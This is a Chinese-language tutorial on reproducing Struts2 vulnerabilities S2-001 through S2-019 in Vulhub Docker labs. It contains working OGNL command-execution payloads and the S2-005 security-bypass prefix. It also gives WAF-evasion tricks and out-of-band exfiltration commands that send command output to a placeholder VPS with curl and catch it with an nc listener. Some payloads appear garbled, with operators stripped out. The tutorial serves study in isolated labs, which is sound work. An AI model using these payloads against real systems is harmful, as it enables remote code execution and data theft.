基于Vulhub的Struts2漏洞一键复现与深度分析实战指南

📅 2026/6/24 11:15:45
基于Vulhub的Struts2漏洞一键复现与深度分析实战指南
1. 项目概述从“手搓POC”到“一键复现”的进化如果你是一名安全研究员、渗透测试工程师或者正在学习Web安全那么“Struts2漏洞”这个名字你一定不陌生。从S2-001到S2-061这个经典的Java Web框架漏洞家族几乎成了每个安全从业者的“必修课”。然而这门课的实践环节往往伴随着巨大的痛苦你需要手动搭建一个包含特定版本Struts2、特定依赖库的Java Web环境然后四处寻找可用的POC概念验证代码再小心翼翼地调整参数祈祷它能在你的本地环境里成功运行。这个过程我们戏称为“手搓POC”——费时、费力、环境依赖复杂一个jar包版本不对可能一晚上的时间就白费了。我经历过太多次这样的挫败。直到我开始系统性地使用Vulhub这一切才发生了根本性的改变。Vulhub不是一个新概念但它对于漏洞复现学习而言是一个革命性的工具。它本质上是一个基于Docker的漏洞环境集合将历史上著名的漏洞环境包括Struts2全系列、ThinkPHP、Weblogic等全部做成了“开箱即用”的Docker镜像。你不再需要关心Tomcat版本、JDK版本、Struts2的jar包去哪里下载甚至不需要手动编译和部署。你只需要一条docker-compose up -d命令一个完整的、可攻击的漏洞环境就在几秒钟内准备就绪。今天我就以Struts2这个“漏洞之王”为例带你彻底告别手动搭建环境的石器时代用Vulhub实现从S2-001到S2-019甚至更远所有漏洞的一键式、标准化复现。这不仅是为了“偷懒”更是为了建立一个可重复、可追溯、高效率的学习和研究工作流。你会发现当环境搭建不再是障碍你的精力才能真正聚焦在漏洞原理的理解、利用手法的精进和防御方案的思考上。2. Vulhub核心优势与部署实战在深入Struts2漏洞之前我们必须先吃透Vulhub这个工具。很多人知道它好用但未必清楚它为什么好用以及如何把它用得更好。2.1 为什么是Vulhub不仅仅是方便Vulhub的核心价值在于它用Docker容器技术完美解决了安全研究中的“环境一致性”难题。想象一下你写了一个S2-045的检测脚本在你的Ubuntu 20.04 Tomcat 8.5 JDK 8环境下运行良好。但当你的同事在Windows 11上用不同的JDK版本测试时脚本却失败了。是脚本有问题还是环境问题这种扯皮和调试会消耗大量无谓的精力。Vulhub通过Docker镜像将操作系统、中间件、应用代码及其所有依赖打包成一个不可变的整体。这个镜像在任何安装了Docker的机器上运行表现都是一致的。这意味着复现结果可重现你今天复现成功的漏洞一个月后换一台电脑依然可以百分之百复现。学习路径标准化所有学习者面对的是完全一致的环境排除了环境变量干扰讨论问题可以聚焦于漏洞本身。快速切换与清理测试完S2-001想立刻看S2-005只需要docker-compose down停止当前容器然后进入另一个漏洞目录再次up即可。测试产生的所有数据都隔离在容器内宿主机系统保持干净。内置漏洞验证大多数Vulhub漏洞环境都附带了详细的README和验证POC你甚至不需要自己从零开始写攻击代码可以先利用它提供的POC理解漏洞触发流程。2.2 从零开始你的Vulhub环境搭建指南虽然Vulhub使用简单但一个稳定高效的底层环境是基础。以下是基于Linux系统推荐Ubuntu 22.04 LTS的详细部署步骤我会解释每一个步骤的意图。第一步系统准备与Docker安装首先更新系统包并安装Docker的必备依赖。apt-transport-https等包是为了让apt能通过HTTPS协议获取仓库。sudo apt update sudo apt install -y apt-transport-https ca-certificates curl software-properties-common接着添加Docker官方GPG密钥和软件源。这里使用的是国内开发者常用的阿里云镜像源速度更快。curl -fsSL https://mirrors.aliyun.com/docker-ce/linux/ubuntu/gpg | sudo apt-key add - sudo add-apt-repository deb [archamd64] https://mirrors.aliyun.com/docker-ce/linux/ubuntu $(lsb_release -cs) stable安装Docker引擎和命令行工具。sudo apt update sudo apt install -y docker-ce docker-ce-cli containerd.io安装完成后将当前用户加入docker组这样以后运行docker命令就不需要每次都加sudo了。这是一个重要的便利性设置但要注意这会赋予该用户相当于root的权限因为Docker守护进程以root运行。在个人学习环境可以这么做在生产服务器上需谨慎。sudo usermod -aG docker $USER # 执行此命令后你需要退出当前终端并重新登录或者新开一个终端用户组变更才会生效。验证安装docker --version和docker run hello-world。如果能看到欢迎信息说明Docker安装成功。第二步安装Docker ComposeDocker Compose是一个用于定义和运行多容器应用的工具。Vulhub的每个漏洞环境都是一个docker-compose.yml文件来定义的。# 下载Docker Compose的二进制文件。这里同样使用国内镜像加速。 sudo curl -L https://github.com/docker/compose/releases/download/v2.20.0/docker-compose-$(uname -s)-$(uname -m) -o /usr/local/bin/docker-compose # 赋予执行权限 sudo chmod x /usr/local/bin/docker-compose # 验证安装 docker-compose --version第三步获取Vulhub漏洞库Vulhub的所有漏洞环境定义文件都托管在GitHub上。我们通过git克隆下来。# 选择一个合适的目录例如家目录 cd ~ # 克隆项目如果速度慢可以考虑使用ghproxy等GitHub代理 git clone https://github.com/vulhub/vulhub.git cd vulhub至此你的Vulhub环境就已经准备好了。整个目录结构是按漏洞类型和应用分类的非常清晰。例如Struts2的漏洞就在/struts2目录下。实操心得网络与权限的坑镜像加速在国内Docker拉取镜像可能很慢。务必配置国内镜像加速器。创建或修改/etc/docker/daemon.json加入以下内容以阿里云为例你需要去阿里云容器镜像服务控制台获取自己的加速器地址{ registry-mirrors: [https://your-id.mirror.aliyuncs.com] }然后重启Docker服务sudo systemctl restart docker。 2.权限问题如果你没有将用户加入docker组或者执行newgrp docker后依然提示权限拒绝可以尝试彻底退出终端再重新登录。这是Linux用户组切换的常见问题。 3.端口冲突Vulhub环境默认会占用宿机的80、8080、8000等常见端口。如果这些端口已被你机器上的Nginx、Tomcat等服务占用会导致容器启动失败。你需要先停止这些服务或者学习如何修改docker-compose.yml文件映射到其他宿主机端口。3. Struts2漏洞体系深度解析与Vulhub实战有了Vulhub我们就可以像翻阅一本漏洞百科全书一样逐个研究Struts2漏洞。这里我选取几个具有代表性的漏洞带你走一遍完整的复现、分析与理解流程。3.1 S2-001OGNL表达式注入的“启蒙老师”S2-001是Struts2漏洞家族的起点其原理是Struts2在处理表单验证错误时会对用户提交的表单值进行二次解析而这个过程没有对OGNL表达式进行过滤。OGNL是Struts2用于在视图和控制器之间绑定数据的表达式语言功能非常强大可以执行Java代码。Vulhub复现步骤进入漏洞目录cd ~/vulhub/struts2/s2-001启动环境docker-compose up -d。你会看到它拉取镜像并启动一个Tomcat容器。访问环境用浏览器打开http://your-vm-ip:8080。你会看到一个简单的登录页面。漏洞利用这个漏洞的触发点在于表单验证失败后的回显。在用户名和密码框都输入一个OGNL表达式例如%{11}。点击登录由于账号密码错误页面会跳转回登录页但此时你会发现你输入的%{11}被计算成了2并显示在了输入框里这就证明了OGNL表达式被执行了。深入利用与理解单纯的11只是验证。OGNL的强大在于它能访问Java对象。我们可以构造Payload获取更敏感的信息获取Tomcat路径%{#reqorg.apache.struts2.ServletActionContextgetRequest(),#req.getRealPath(/)}执行命令经典Payload%{#a(new java.lang.ProcessBuilder(new java.lang.String[]{whoami})).redirectErrorStream(true).start(),#b#a.getInputStream(),#cnew java.io.InputStreamReader(#b),#dnew java.io.BufferedReader(#c),#enew char[50000],#d.read(#e),#f#context.get(com.opensymphony.xwork2.dispatcher.HttpServletResponse),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}这个Payload看起来复杂但逻辑清晰它通过OGNL上下文获取了HttpServletResponse对象然后创建进程执行whoami命令并将命令执行结果通过Response写回页面。注意事项命令执行的“坑”编码问题在浏览器中直接输入复杂Payload特殊字符如{}需要URL编码。你可以先用Burp Suite抓包然后在Repeater模块中修改参数值这样更方便。空格与引号命令参数中的空格有时会导致解析问题。将命令和参数放在String数组里是更可靠的方式如new String[]{bash, -c, command here}。无回显怎么办如果页面没有回显可以采用盲注的方式比如用ping命令探测自己的服务器ping -c 1 your-ip或者用curl、wget将命令结果外带到你的公网服务器。3.2 S2-005参数拦截器与绕过艺术S2-005的成因比S2-001更有趣。它源于S2-003和S2-004的修复不完全。官方通过正则表达式加强了对OGNL表达式的过滤但过滤规则可以被绕过。这个漏洞的利用通常需要借助修改HTTP请求的Content-Type头或参数名本身来注入OGNL代码。Vulhub复现步骤cd ~/vulhub/struts2/s2-005docker-compose up -d访问http://your-vm-ip:8080。这是一个默认的Struts2示例页面。利用这个漏洞通常需要工具辅助。你可以使用Burp Suite。在浏览器中随便点击一个页面链接用Burp抓包。然后将抓到的GET或POST请求发送到Repeater。在Repeater中你需要构造特殊的参数名。例如原始的请求参数是namevalue你可以将其修改为(\u0023context[\xwork.MethodAccessor.denyMethodExecution\]\u003dfalse)(bla)(bla)(\u0023_memberAccess.excludeProperties\u003djava.util.CollectionsEMPTY_SET)(kxlzx)(kxlzx)...这是一个经过编码的、用于关闭安全限制的Payload前缀。在其后你可以附加命令执行的OGNL代码。原理剖析这个漏洞的关键在于Struts2的“参数拦截器”Parameters Interceptor。它负责将HTTP请求中的参数设置到Action对象的属性中。攻击者通过构造特殊的参数名其中包含了OGNL表达式让拦截器在解析参数名而非常规的参数值时就执行了其中的恶意代码。\u0023是#的Unicode编码用于绕过简单的关键字过滤。这个漏洞告诉我们修复漏洞时如果只堵“值”而忽略了“键”同样会留下隐患。3.3 S2-016 S2-017重定向引发的灾难S2-016和S2-017是另一个类型的漏洞它们存在于Struts2的“重定向结果类型”Redirect Action Result中。当配置中使用了动态参数如${param}来指定重定向地址时攻击者可以控制这个地址进而执行OGNL表达式。Vulhub复现步骤以S2-016为例cd ~/vulhub/struts2/s2-016docker-compose up -d访问http://your-vm-ip:8080。页面上可能会有多个演示链接。经典的利用方式是操纵redirect:或redirectAction:参数。例如访问URLhttp://your-vm-ip:8080/index.action?redirect:%25{3*3}。如果页面发生了重定向并且重定向的URL中包含了计算后的结果9就说明漏洞存在。更进一步可以构造命令执行Payload?redirect:%25{(newjava.lang.ProcessBuilder(newjava.lang.String[]{whoami})).start()}这个漏洞的可怕之处在于它可能存在于任何使用了动态重定向的功能中比如登录跳转、错误页面跳转等攻击者可以诱导用户点击一个恶意链接就在用户不知情的情况下在服务器上执行了命令。3.4 S2-019动态方法调用DMI的滥用S2-019的漏洞点在于Struts2的“动态方法调用”特性。默认情况下Struts2允许通过URL中的method:前缀来动态调用Action中的方法例如/userAction!delete.action。如果这个功能被开启且没有受到严格限制攻击者就可以调用任何公有方法包括一些危险的方法。Vulhub复现步骤cd ~/vulhub/struts2/s2-019docker-compose up -d访问http://your-vm-ip:8080。利用方式通常是结合OGNL表达式。例如尝试访问http://your-vm-ip:8080/index.action?method:%25{(newjava.lang.ProcessBuilder(touch, /tmp/s2-019-success)).start()}这个漏洞的修复方案通常是在Struts2配置中彻底关闭动态方法调用struts.enable.DynamicMethodInvocation false或者使用更严格的方法白名单。4. 高效复现工作流与深度分析技巧掌握了单个漏洞的复现后我们需要建立一套高效的工作流并深入挖掘漏洞背后的故事而不仅仅是执行一个POC。4.1 建立你的漏洞研究实验室不要满足于启动一个漏洞环境然后打一下POC就结束。你应该把Vulhub当作你的实验室环境快照在启动一个干净的环境后docker-compose up -d可以先做一个笔记记录下初始状态。然后进行漏洞利用。利用完成后不要急于docker-compose down。使用docker exec -it container_id /bin/bash进入容器内部查看漏洞利用是否留下了文件如/tmp下的文件、是否修改了配置、是否产生了新的进程或网络连接。这能帮你理解漏洞的完整影响链。流量分析始终开着Burp Suite。将浏览器代理设置为Burp复现漏洞的整个过程都会被记录下来。在Burp的Repeater里你可以反复修改、重放攻击Payload观察服务器的响应变化。在Intruder模块你可以对Payload的某个位置进行模糊测试尝试发现更多的利用方式或绕过技巧。源码关联Vulhub环境中的Web应用是编译好的。但对于想深究原理的人可以去Apache Struts的官方仓库下载对应版本的源代码。在IDEA或Eclipse中搭建调试环境固然完美但更快捷的方式是直接在线阅读漏洞修复的Commit。在GitHub上搜索Struts2的仓库找到对应版本如STRUTS_2_3_14的标签然后查看历史提交。搜索漏洞编号如S2-016你往往能找到修复该漏洞的那个关键Commit。对比修复前后的代码差异是理解漏洞根因最直接的方法。4.2 从复现到挖掘思维模式的转变当你熟练复现一系列漏洞后你的思维应该从“使用者”转向“研究者”。模式归纳Struts2漏洞大多和OGNL表达式注入有关。那么触发OGNL解析的入口点有哪些我们发现表单错误回显S2-001、参数名解析S2-005、重定向参数S2-016、动态方法调用S2-019、文件上传标签S2-045、Content-Type头S2-046等等。这其实就是攻击面的枚举。修复与绕过看S2-003的修复是增加了#_memberAccess的检查S2-005就绕过了它。后来的修复引入了SecurityMemberAccess类和allowStaticMethodAccess等开关。思考为什么这个修复是有效的它堵住了哪条路它又可能在哪里留下新的缝隙这种“攻防对抗”的思维是安全研究的核心。工具化手动复现是学习但批量检测需要工具。你可以用Python的requests库将上述各个漏洞的检测Payload封装成一个脚本。这个脚本接收一个URL然后依次发送特征Payload根据返回结果判断是否存在某个Struts2漏洞。这就是一个最简单的漏洞扫描器雏形。5. 常见问题、排查技巧与安全实践即使有了Vulhub这样的利器在实际操作中你仍会遇到各种问题。下面是我踩过的一些坑和总结的技巧。5.1 Vulhub环境本身的问题问题1docker-compose up -d失败提示端口被占用。排查运行sudo netstat -tulpn | grep :8080(或其他被占用的端口号)查看是哪个进程占用了。解决停止冲突服务如果是不重要的服务如自己测试用的Tomcat可以将其停止。修改映射端口这是更优雅的方式。编辑漏洞目录下的docker-compose.yml文件找到ports部分例如- 8080:8080将其改为- 18080:8080。前面是宿主机端口后面是容器内端口。修改后重启环境即可通过http://your-ip:18080访问。问题2容器启动后访问页面显示404 Not Found或连接被拒绝。排查检查容器状态docker-compose ps。确保状态是Up。查看容器日志docker-compose logs。这里会有最详细的错误信息。常见原因是应用启动失败如War包解压错误、数据库连接失败等。解决根据日志错误信息解决。可能是内存不足、镜像拉取不完整。可以尝试docker-compose down然后docker-compose up --build -d重新构建启动。问题3Payload执行成功但无回显。排查这是命令执行漏洞利用中的常态。你的命令可能执行了但输出没有返回到你看到的页面上。解决使用盲注技术用ping、sleep、curl、wget等命令来验证。例如执行ping -c 4 your-vps-ip然后在你的VPS上监听ICMP包 (tcpdump icmp) 看是否能收到。外带数据将命令结果通过HTTP或DNS请求发送到你的服务器。Linux下curl http://your-vps-ip:9999/?result$(whoami|base64)在你的VPS上运行nc -lvnp 9999或启动一个简单的HTTP服务器python3 -m http.server 9999来接收结果。写入文件如果Web目录可写可以将结果写入一个Web文件然后访问查看。echo whoami /usr/local/tomcat/webapps/ROOT/test.txt(路径需根据实际情况调整)。5.2 漏洞复现与利用中的高阶技巧技巧1Payload编码与变形WAF和简单的过滤机制会检测常见的危险字符和字符串。你需要对Payload进行编码和变形。URL编码#-%23{-%7b}-%7d空格 -%20或。Unicode编码#-\u0023。大小写变换Runtime-runtime。字符串拼接newProcessBuilder()。反射调用避免直接使用Runtime.getRuntime().exec()转而使用java.lang.Class.forName(java.lang.Runtime).getMethod(getRuntime).invoke(null).exec(...)。这种方式更能绕过基于静态字符串匹配的WAF。技巧2利用上下文信息不同的漏洞触发点你能访问的OGNL上下文对象是不同的。在S2-001中你可以通过#parameters、#request等访问请求对象。在S2-005中你可能需要先关闭一些安全开关如#_memberAccess。理解当前漏洞点的上下文是构造有效Payload的前提。多看看Vulhub里每个漏洞目录下的README和EXP脚本能学到很多上下文利用的技巧。5.3 安全研究与学习的最佳实践永远在隔离环境进行这就是Vulhub和Docker最大的价值。永远不要在你的个人开发机或公司网络内直接测试未知的漏洞利用代码。记录与归档为每一个你复现的漏洞建立一个笔记。内容包括漏洞编号、影响版本、漏洞原理简述、Vulhub启动命令、利用步骤含具体Payload、漏洞修复方式、参考链接。使用Markdown格式配上截图和流量包日后回顾一目了然。追根溯源不要只停留在“能用”。多问几个为什么这个漏洞的CVE编号是什么NVD上怎么描述的官方修复的Commit链接是什么有没有公开的分析文章将这些信息都整理到你的笔记里。法律与道德底线你搭建的Vulhub环境只能用于自我学习和技术研究。未经授权对任何非你自己拥有的系统进行漏洞测试都是非法的。技术是一把双刃剑心中必须常怀敬畏。通过Vulhub我们将Struts2漏洞复现这个曾经繁琐的工作变成了一个可重复、可追溯、高效率的学习过程。从环境搭建的泥潭中解放出来我们才能将更多精力投入到漏洞原理的深度剖析和攻防技术的本质思考上。这套方法论不仅适用于Struts2也适用于Vulhub中集成的数百个其他漏洞。当你熟悉了这个流程你会发现面对一个新的CVE漏洞你的第一反应不再是焦虑和茫然而是有条不紊地搜索是否有现成的Vulhub环境如果没有则根据描述自己去构建一个Docker测试环境然后开始你的分析与利用之旅。这才是安全研究者应有的姿态。